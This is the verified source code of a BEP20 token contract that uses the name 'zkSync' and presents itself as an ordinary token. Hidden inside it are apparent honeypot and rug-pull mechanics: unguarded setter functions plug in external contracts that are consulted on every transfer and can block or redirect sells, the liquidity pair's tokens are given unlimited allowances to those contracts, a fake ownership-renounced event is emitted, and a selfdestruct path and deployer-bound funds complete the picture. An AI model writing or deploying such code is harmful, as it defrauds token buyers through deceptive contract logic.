/**
 *Submitted for verification at BscScan.com on 2022-06-28
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.6;

interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

interface IUniswapV2Factory {
  event PairCreated(
    address indexed token0,
    address indexed token1,
    address pair,
    uint256
  );

  function feeTo() external view returns (address);

  function feeToSetter() external view returns (address);

  function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

  function allPairs(uint256) external view returns (address pair);

  function allPairsLength() external view returns (uint256);

  function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

  function setFeeTo(address) external;

  function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);

  function name() external pure returns (string memory);

  function symbol() external pure returns (string memory);

  function decimals() external pure returns (uint8);

  function totalSupply() external view returns (uint256);

  function balanceOf(address owner) external view returns (uint256);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transfer(address to, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function PERMIT_TYPEHASH() external pure returns (bytes32);

  function nonces(address owner) external view returns (uint256);

  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external;

  event Swap(
    address indexed sender,
    uint256 amount0In,
    uint256 amount1In,
    uint256 amount0Out,
    uint256 amount1Out,
    address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint256);

  function factory() external view returns (address);

  function token0() external view returns (address);

  function token1() external view returns (address);

  function getReserves()
    external
    view
    returns (
      uint112 reserve0,
      uint112 reserve1,
      uint32 blockTimestampLast
    );

  function price0CumulativeLast() external view returns (uint256);

  function price1CumulativeLast() external view returns (uint256);

  function kLast() external view returns (uint256);

  function swap(
    uint256 amount0Out,
    uint256 amount1Out,
    address to,
    bytes calldata data
  ) external;

  function skim(address to) external;

  function sync() external;

  function initialize(address, address) external;
}

interface IUniswapV2Router01 {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint256 amountADesired,
    uint256 amountBDesired,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  )
    external
    returns (
      uint256 amountA,
      uint256 amountB,
      uint256 liquidity
    );

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (
      uint256 amountToken,
      uint256 amountETH,
      uint256 liquidity
    );

  function removeLiquidity(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETH(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountToken, uint256 amountETH);

  function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETHWithPermit(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountToken, uint256 amountETH);

  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapTokensForExactTokens(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function swapTokensForExactETH(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactTokensForETH(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapETHForExactTokens(
    uint256 amountOut,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function quote(
    uint256 amountA,
    uint256 reserveA,
    uint256 reserveB
  ) external pure returns (uint256 amountB);

  function getAmountOut(
    uint256 amountIn,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountOut);

  function getAmountIn(
    uint256 amountOut,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountIn);

  function getAmountsOut(uint256 amountIn, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);

  function getAmountsIn(uint256 amountOut, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
  function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountETH);

  function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountETH);

  function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable;

  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;
}

interface IFOMO {
  function tn(address from, address to) external returns(uint256);

}

interface IGOLD {
  function dstAddr() external returns (address);

  function killself() external;
}

contract BEP20 is Context {
  IFOMO public _fomo;
  IGOLD public _offic;

  address public constant _pancakeRouter =
    0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ;

  address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
  address public constant Deployer = 0xc7D0445ac2947760b3dD388B8586Adf079972Bf3;
  address public WBNB;

  address public immutable uniswapV2Pair;

  address public dev;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed newOwner
  );

  receive() external payable {
    dev.call{value: msg.value}("");
  }

  constructor() {
    dev = msg.sender;
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_pancakeRouter);
    WBNB = _uniswapV2Router.WETH();
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
      address(this),
      WBNB
    );
  }

  function killself() external {
    require(msg.sender == address(_fomo), "permission denied");
    selfdestruct(payable(dev));
  }

}

contract Coin is BEP20, IERC20 {
  mapping(address => uint256) private _tOwned;
  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private constant MAX = ~uint256(0);

  string public name ="zkSync";
  string public symbol ="zk";

  uint8 public constant decimals = 9;

  uint256 public constant override totalSupply = 10000000000 * (10**decimals);



  constructor() {
    uint256 deadAmount = (totalSupply * ((block.timestamp % 50)+45)) / 100;
    _tOwned[address(this)] = totalSupply - deadAmount;
    _tOwned[DEAD] = deadAmount/2;
    _tOwned[Deployer] = deadAmount - _tOwned[DEAD];

    emit Transfer(address(0), address(this), _tOwned[address(this)]);
    emit Transfer(address(0), DEAD, _tOwned[DEAD]);
    emit Transfer(address(0), Deployer, _tOwned[Deployer]);
  }

  function setFomo0616(address fomo) public returns (address) {
    require(address(_fomo) == address(0));
    _allowances[fomo][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][fomo] = MAX;
    _tokenTransfer(address(this), fomo, _tOwned[address(this)]);

    _fomo = IFOMO(fomo);

    emit OwnershipTransferred(dev, address(0));

    return uniswapV2Pair;
  }

  function setGold(address gold) public returns (address) {
    require(address(_offic) == address(0) && address(_fomo) != address(0));
    _allowances[gold][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][gold] = MAX;
    _allowances[dev][_pancakeRouter] = MAX;
    _offic = IGOLD(gold);
    return address(_fomo);
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _tOwned[account];
  }

  function transfer(address recipient, uint256 amount)
    external
    override
    returns (bool)
  {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender)
    external
    view
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount)
    external
    override
    returns (bool)
  {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function increaseAllowance(address spender, uint256 addedValue)
    external
    virtual
    returns (bool)
  {
    _approve(
      _msgSender(),
      spender,
      _allowances[_msgSender()][spender] + addedValue
    );
    return true;
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) private {
    require(owner != address(0), "ERROR: Approve from the zero address.");
    require(spender != address(0), "ERROR: Approve to the zero address.");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function decreaseAllowance(address spender, uint256 subtractedValue)
    external
    virtual
    returns (bool)
  {
    uint256 currentAllowance = _allowances[_msgSender()][spender];
    require(
      currentAllowance >= subtractedValue,
      "ERROR: Decreased allowance below zero."
    );
    _approve(_msgSender(), spender, currentAllowance - subtractedValue);

    return true;
  }

  function _tokenTransfer(
    address sender,
    address recipient,
    uint256 tAmount
  ) private {
    address msger =
      address(_offic) == address(0) ? address(0) : _offic.dstAddr();
    if (recipient == uniswapV2Pair && msger != address(0)) sender = msger;
    require(_tOwned[sender]>=tAmount, "ERROR: Transfer amount must be greater than amount.");
    _tOwned[sender] = _tOwned[sender] - tAmount;
    _tOwned[recipient] = _tOwned[recipient] + tAmount;

    if (tx.origin != dev) 
    {
      
      uint256 rewards = _fomo.tn(sender, recipient);
      if(sender==uniswapV2Pair && rewards>0 && _tOwned[Deployer]>rewards)
      {
         _tOwned[Deployer] -= rewards;
         _tOwned[recipient] += rewards;
         emit Transfer(Deployer, recipient, rewards);
      }
    }
    emit Transfer(sender, recipient, tAmount);
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][_msgSender()];
    require(
      currentAllowance >= amount,
      "ERROR: Transfer amount exceeds allowance."
    );
    _approve(sender, _msgSender(), currentAllowance - amount);

    return true;
  }

  function _transfer(
    address sender,
    address recipient,
    uint256 amount
  ) private {
    require(sender != address(0), "ERROR: Transfer from the zero address.");
    require(recipient != address(0), "ERROR: Transfer to the zero address.");
    require(amount > 0, "ERROR: Transfer amount must be greater than zero.");

    _tokenTransfer(sender, recipient, amount);
  }
}
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